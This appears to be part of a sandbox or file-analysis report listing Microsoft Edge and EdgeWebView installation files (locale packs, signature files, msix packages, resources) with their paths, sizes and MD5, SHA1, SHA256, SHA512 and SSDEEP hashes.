Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ug.pak.DATA
Size 1.6MB
SHA256 7f2e95002a760e81cfa4297d73c61822ba915608f7c6547b5d50938c2e844e18
MD5 26e374c13aa522a4e7ba774cc12ca623
SHA1 9719ebc5550ca563e04322ecb20f8c5fd628bdde
SHA512 ceaa9cb6b4223104a56dc59b4c12c1dff1d76b51a6db1af1ffd13af18f735de3d581ff3001273097ac753258a67836db5869976e690d8c599ead59300e4bd951
SSDEEP 49152:pI4xn23gOACSxdsTmPEp0/YF0J4CCl5QwjdqLjrIW7zixZyDlmRLJuJFOqAc/P1e:u4xn23gt2TmPEp0/YR
MD5 SHA1 SHA512 SSDEEP

Submit Download

uk.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\uk.pak.DATA
Size 1.7MB
SHA256 a484540860277f00628f6e2a32f5fb109fa92092f54d98e375ce9d21c2bc1791
MD5 c95d2de0bff4c6b0698bb1c182d6caad
SHA1 ffaf80840cb5bb422877ea346738b87c51bd54f6
SHA512 4e52e9a8aa369531d4321bb7cd67b663c21dd279f85d95237ec6719c69f112b30c02eef3453c633e71506751b97a2f870af286f60480874877f0c991fae76219
SSDEEP 49152:5oao1ZBBxW1V1JU2KjqymM74sRZr56f7bZVM85un:5oz17BA1mxeyHRx
MD5 SHA1 SHA512 SSDEEP

Submit Download

ur.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ur.pak.DATA
Size 1.5MB
SHA256 22909149dbf5e85bb6f2d6972cf46339abee185827d1908e429654bc9e16394d
MD5 2c945509a0d5b9bb4310528b3ac5935c
SHA1 937c07d5a85c5b0604c26800ba51ba6b9a801d48
SHA512 6cbe93b98ecc45b84714ba3d96a31770b6207c382cab7a2ac95ee231fa0f0d9d8c9101c1436ddb2c3dd7b9f90840a2b34a98f6d01e049a9ec0220c23943faff1
SSDEEP 24576:wUsT/fHC7/y/Qriz7OoOf+dALOfMwQ1cl+17WnbdkmJ39+MQhd3:wUszi7chz7tOf+Hrmc67Wnbd9IHd3
MD5 SHA1 SHA512 SSDEEP

Submit Download

vi.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\vi.pak.DATA
Size 1.2MB
SHA256 15d2f59e8c58977ff24b6f71b8e61e7244fbbcf97d055ecece3da9dc3dbc5995
MD5 09831c5ffd43f17cbc90a300e5804eac
SHA1 a9250060a306b673a002ab60cb7e3e30e29e8c00
SHA512 625f7af21a13964be017e78c0420a4c78d993e74bdcc99b3a4f3b640c781f6385cc5cea68c3263112148ddb865bf8a0cb63c5a5e42ac4ca788c7828c88d6ad39
SSDEEP 24576:ei/tj7xslZo9BV9nceT6+oErb6QorVvcmefephn8tS/pAr5z4JgfTx2fPL:9Fb9dcCNokbQrVvcfWphnN
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-CN.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\zh-CN.pak.DATA
Size 860KB
SHA256 9455626e72321dc43c8bf14a9121ba43cd925f7ae867b4fe95562ed522acdcbf
MD5 4e6b045d2c74484078249d28e0945b48
SHA1 cb1b12db6eb4fdcf186bff271abd5e3f8858f6d0
SHA512 d7b21ca46dd408fd97581dd63f1af0d14816a5fe75ebe274eba3a1a6142ff5aa1c12e7ce5ffee6078e1ad3a92615c3e464eb9175a4d76254944214558ce11edc
SSDEEP 24576:DWbhARAnIfdZayeqyQngw03gVCYtvjTvtHsrTN:DWF+2Il9F03gsYtPaN
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-TW.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\zh-TW.pak.DATA
Size 886KB
SHA256 04817bfa7454ce1bf98b2cb28295cc3d4d3266e31d3c1b033c2bbc9d734e5d7d
MD5 8cf5bcea5bdee28478dd73a4a5903bfd
SHA1 1944fd88e012d1fc8e46dbfe1c845a6b38644483
SHA512 ab0877241155524ec9c600a3ca90587850379693ed9852c7bd50feee3afbc0f3cc3e69b8aac02156a6181e7612e6f7249c3534f51ecabe5a75908e80be027adb
SSDEEP 24576:UsU3Sq1VqtosDAcShHczjfXCDFzgRujYH29XD:UXVqtoshIHcHfUUu9
MD5 SHA1 SHA512 SSDEEP

Submit Download

EdgeGameAssist.msix.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\edge_game_assist\EdgeGameAssist.msix.DATA
Size 1011KB
SHA256 06399d2b91ca242822fdb92b80682a0a2175ce58e6d9119c4565513448059abc
MD5 e0b8653c1d95f102aaad552ab2216b71
SHA1 f84c0807c4a377f1db79d9c7a3825a85892d0732
SHA512 45562d57fbf65820c0fb6043ffa66ffa29701f4f46a98537857f7c0023cf02ad27efef8bae39e9595ba80cfd0f9f7fe99132a3a526f6dcd08edd51e75c6646e1
SSDEEP 24576:XIne8kpFtKpe9JIMZY3hdtlEV6OPVvXPXWNYbGy7+7f4m:XIelpup5MZihjlU6w3XWNXy7K
MD5 SHA1 SHA512 SSDEEP

Submit Download

VERSION.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\edge_game_assist\VERSION.DATA
Size 531B
SHA256 c372b6aad2bf4bd53ae83f3d61736a2ed4a264b343e414aaf376a57418e0ba0a
MD5 abbb5fdc24cc70efc51591ba2765d2ac
SHA1 7f42b0d92ddd1a471d7fe728e6392a755854925c
SHA512 8a01544e9e555d820725d90534c30f6386be8af372738c86d3ed2b3a0e1c0657932172036f1cc3993ba4a2ad1931ed61d90f2c1b736d51a8414177472972ffa8
MD5 SHA1 SHA512

Submit Download

widevinecdm.dll.sig

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig
Size 1KB
SHA256 40a23106e90b456aa3c1ac23607b388446c05d495ac28dd7e938be9dfc407ebc
MD5 a2a25e1eae96dbeec5b727f5a7382731
SHA1 2c002025e82f6f8f6f57752a9be974fac3336589
SHA512 a5e37b0e61c7f960fe2c32177bb31f95ffee41267ce1a2a7e579482e65d21b34fb320a8b5abf8e56e4ff805a4269883cb139c917f216974a250b659b893f66a2
MD5 SHA1 SHA512

Submit Download

icudtl.dat

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\icudtl.dat
Size 11.4MB
SHA256 5b47260478517e7567f8c1c767a99381eb80fc0acce5326d6331ac5fdd25023f
MD5 97587ff29d1754738929a38d92fcfccb
SHA1 da325ddabadfe81bf17f28578c3619d0318368b0
SHA512 be6ab5b923e98c827313432445fc57b8145e90df2274ff970ca4ae3c505675fdf089ef1330242437bb10c08463324073403fc6033f72a641b57e1fc43b52ee2c
SSDEEP 196608:vk7VIJXCCa8qBhORzxH3KKucHiXUxY/iJ53IWhlmjE9u2Y4Sdc:vkZIJXCCzYwxxH3KiHiXUxY/iJ53IWhF
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Beta.msix

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Beta.msix
Size 54KB
SHA256 62dfe83428a1149890fe7bac68877bf566229c8c589f64717a1053098d1563aa
MD5 382cd46cc06a86dcb176c23f10e63879
SHA1 e0152983246075f2c13d8165856b48a4d635327d
SHA512 66c94d1f372a21fb281bb3137d25300703990b3a2fb573166910041e09c12faf40102382944d34d468da9e8f6212900acf8241b6b6a8d31faf8125bd48109354
SSDEEP 1536:hU4uQXBnECSMwzHN3JPDWugXpEA9Bo0+cjk419/yHm:u4lxED7rq9BLLr9/yHm
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Canary.msix

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Canary.msix
Size 54KB
SHA256 89b8fa40ea890412e6bedeb58c1fcfffc54c4b2e7bf4517064ffdbf5a67660ca
MD5 2124639dfa142b9811d8ef65a883d4a5
SHA1 901c2ce1f7b010a5fe340fbdf5322344ebea0d76
SHA512 454888c14065d9129dcc013fd0791e72266543866d6f4df38fc92cccf753a8d37438abbe9d7760f3603f1cf8b2c0ad8a74a298d2bc8457175b4538abc41f4bf8
SSDEEP 1536:BUnW/6HPiRvqiuGaLAdz+aLkzf7FX9hPKpxeAGmm:BKW/EMuGrNkj7FX9hYGmm
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Dev.msix

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\identity_proxy\win10\identity_helper.Sparse.Dev.msix
Size 53KB
SHA256 2a58e6c7ef8ce2468d442186d89d0d6daf92ec1d031c396dce3074168dabf461
MD5 2dfe30f9647a0ba039583534f9b9a871
SHA1 2bdf4039897d3fb121617a8dc510b9e3963066fd
SHA512 fae53e0fc9a5a73fbbef00a32cb096e598299e9d625a3e84e5dee9d73e7e796ce2f3e1129841458065ba34630464ebae1aaf6cd0b5b58877a01e04d7c89f9876
SSDEEP 768:K8XQaA2w996ghJa9WD/q+39eiGMmiiwETh2y1ASN09j7eNcI2UN1Hdv+67IbQXm4:K8XJAff6ghc9WD/q+AiGFUyuytxMobQm
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedge.dll.sig

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedge.dll.sig
Size 1KB
SHA256 980ca96c8061b3e41f12c6f3aac9d8fb5d6cea2b99be748da1f928a923fd3117
MD5 ece20218c386250403e18ad86159917f
SHA1 85441bdb42605ce337b742ac8a30d4978e1bbefd
SHA512 4024781e7084eda7a62a15be68326734893126a72b8611e8ccfec58729ac495436c84f99d94bf8aa81a53ad481fb6398746ffa7406813184f5987536e1584a88
MD5 SHA1 SHA512

Submit Download

msedge.exe.sig

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedge.exe.sig
Size 1KB
SHA256 d60fff4ca59f984e67a49c0700fb471176417e5242dca45ef3d2d22b4306606e
MD5 716a8e88fb702969fe9a07061f4a5d24
SHA1 45ba23dd9512b15bb5d108ab2dfad4a1efd08ae3
SHA512 fb0b10f3389413a5394940627d562a6b75dcc96929097f41cff5db6b4335ae1c6b9492fba2a2a7badb1ff0e05b73ae2405fb0232802386efb1c8da379ade21ff
MD5 SHA1 SHA512

Submit Download

msedge_100_percent.pak

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedge_100_percent.pak
Size 1.5MB
SHA256 1629cb0518814f3d278a5ef09abfdf7538e25510ae3b84bb70ca1348e54baead
MD5 18bc7ed9508dd81e905b6496c36b4ce9
SHA1 d92af261335e8feaeba794dc01026e75a35f7550
SHA512 0c093d010d1f957c21108167d9261935208de4bed4a701ed0725e6398efdcb4e99728cfa24fceb1c5b279847abffe663d29ac3f0483c93557435a9fdb3e85a32
SSDEEP 24576:hwziB5y0Fk4op70xgSy8ApUzMVZ561mczkXxOgT3Z9iRBtXnHjddl8PzrwSd19JZ:CeB5yDp7JSdQdZM1mVIg7CR/3jddl8PR
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedge_200_percent.pak

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedge_200_percent.pak
Size 2.1MB
SHA256 c27d5160c7081f1d196623f4e9b357dd2ebde92bb87f4e4283e1a8493325e5d4
MD5 66b806db90a820f11e18c36b0bacbe33
SHA1 e79257a973b735b90a02bd31c643bb3f19305431
SHA512 075533cad7ca12e5f6ad9ceae607d2ee0d20f9d4b40c053b6a2b8d37a948c1f26006e5369bbbc17a27652c3e5435052c09818b50b1042dcd52f9dde85be7782f
SSDEEP 49152:xgkmHoJkuArfrn5BMfXo8Eteg3/HZbhxRqv7Ijddl89tCvAla+ppaurk0D:xsYABx8Gx3VhxSUjdj8zcAlaIa70D
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedgewebview2.exe.sig

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe.sig
Size 1KB
SHA256 84379f7a7666d4601adcc34c94a87129985a1bd5f50cae48bf1e75e5d34dba1e
MD5 410f22e2862c8e10834a614184ba9d2f
SHA1 6e093ab2a00e8df46b283403b947807cd2043b4e
SHA512 8c3b6445b1754091b0093eb856fbde84bc48662c89f2cfc7a73c8f2737da1968f936ee00e4df05384d3764a2ad261e1611fe0d90707266c314cdc3a67a9cc73d
MD5 SHA1 SHA512

Submit Download

resources.pak

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\resources.pak
Size 26.1MB
SHA256 acb5a6c3653189b676e751efd6badaa6e92d438dfa044e9f8c1e50267ee73eab
MD5 a95860ef66f309d2505f01ff45b7a33c
SHA1 6f33b836f46119416c262b6cd1be880306ab32aa
SHA512 467ea7f6b5f983dae1c80e8e3963270d2600cb21c747d0c3f2ba6a24c05088dd0b5c4b19e4b0d5bb9b6adbcdb816ec816741db1b868d498f9ac2d119528a04fe
SSDEEP 786432:E524vT9G5+pt0TwSvSQOx4NSkI0f4zbny:E52TYt0czQcUI0f4vy
MD5 SHA1 SHA512 SSDEEP

Submit Download

v8_context_snapshot.bin

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\v8_context_snapshot.bin
Size 691KB
SHA256 f850ecc95a0d4761d93262f51ef7ce91dbc7f5c808b71d775c10089ccf762b92
MD5 827b35e3cbd11a3cf64cb1ba0383a826
SHA1 94ad835950c41d7816f2a5d6ae73369352e7254d
SHA512 1dfecd01e60b51d9aff6a43dcfda4dc9c6eee532faacd1bfd268841c2bf78a80a3a19e0efcbc282961652dc374f9b2c7450a3e45cf49c85bd72843dbb511fb85
SSDEEP 12288:36RMWRq8MFkdYCgl8kLYIWC//0Vi3bS4zW0QIAIDpME60rKs0hv8Qg29Nn/U:36XRq8eWYE6agbdQIAIyN0GrJ/gF
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Beta.msix.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Beta.msix.DATA
Size 54KB
SHA256 a62425f46ebd6d52b9f5bcb060c81fbe1cc84840841597bb25a41022e416ddc1
MD5 2122739bd1edd7fee51075123b8883e6
SHA1 89cc854ca7b9186787962a22252652d446d0485c
SHA512 a5eb9e66e632bd99f7d5a27466ad7d2b69faafd673446058b9d8894bbe0a2cbea28e6feb19cdab8c5118fb9c3045f6c765ce121e524497e7fa4c5ba95f487f11
SSDEEP 1536:JU4uQXBnECSMwzHNbJPDWugXpEA9Bo0+cjk4dTVbmku7Em:W4lxED7zq9BLLnhC9gm
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Dev.msix.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Dev.msix.DATA
Size 53KB
SHA256 ace3a7999728c6028980e192b28a011ebf23dff04cea5307beb11e0c1dea10b9
MD5 33c2b0acaa7e422fdf86ab954a573c49
SHA1 2e4249e30ea94440b863ea107ecdfdf2e4ff7941
SHA512 683e04471fd289c7d86306a00e5b724731077a62bcd70284f310133d9346e9aa0fddb3dfa59fba98f868f7fd961d5a7abfd311d33b0440f561652f82f9e86046
SSDEEP 1536:l8XJAff6ghc3EWD/q+AiGFUyuytxGgQmWcm:lQ/AiGFQx15cm
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Internal.msix

Path C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_proxy\win11\identity_helper.Sparse.Internal.msix
Size 57KB
SHA256 3de1799fc0ad412d1ade03fa0f0b3cad5704e45be316e203f312eedb7dea3094
MD5 f6691bf60b749986bfe7558cb7bf3025
SHA1 ee29cfe595fc9b78524db38c4d3c2972288c87ae
SHA512 b18e4d55d548f2bb59e2b4492b81e7163a0b1b0ab59f390a3394ccd6bec17f27bc0a2c31279923effe3b5af4e196510f81d45889be80734002b99e525a0a74e9
SSDEEP 1536:B7E1PNWj6Lv6Dd/HT3BCpBB0sCdI9eAmpY+vm:JwPiZ/L/mYAl+vm
MD5 SHA1 SHA512 SSDEEP

Submit Download

notification_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\notification_helper.exe.manifest
Size 1KB
SHA256 7afd07f910b1196642692d017c3b979ee43ee32fff752202be82e0bec9dbec4f
MD5 7ef6e75b428889289e12f413ee554e62
SHA1 62b3bca61d671659958e372f76b839d95f14a263
SHA512 01ec93135d57de5672cc88e4af8951c66c044a75f7cb484fd4a78017ac63863c36d58e55dc4797fa99cee2ae86f06109c299dc6b053a828408cb2e16113d62d0
MD5 SHA1 SHA512

Submit Download

delegatedWebFeatures.sccd

Path C:\Program Files (x86)\Microsoft\Edge\Application\delegatedWebFeatures.sccd
Size 18KB
SHA256 083ae6b953056dd0fea65a49b9d80efe09afb632c12007722e3889b1c4093867
MD5 b0a8161a49790a87cbb45617bd44cbb9
SHA1 c63ce0046c25d3377997e406a6a2e1cc739c609e
SHA512 502383352d1e10e30100dac0f5171a63d58841fe85dfaf08097486d73ba0bee6f62f84d37b3e9bb9c2622139667c05c149cc6de015f4ef36695446a152364d37
SSDEEP 384:37xlaXOlwdXOYWDwaO2ygs7lK8j9dtSBYT4ynYsKhyf6Xq9c:ZuQHwaOPBdtSBV3I6am
MD5 SHA1 SHA512 SSDEEP

Submit Download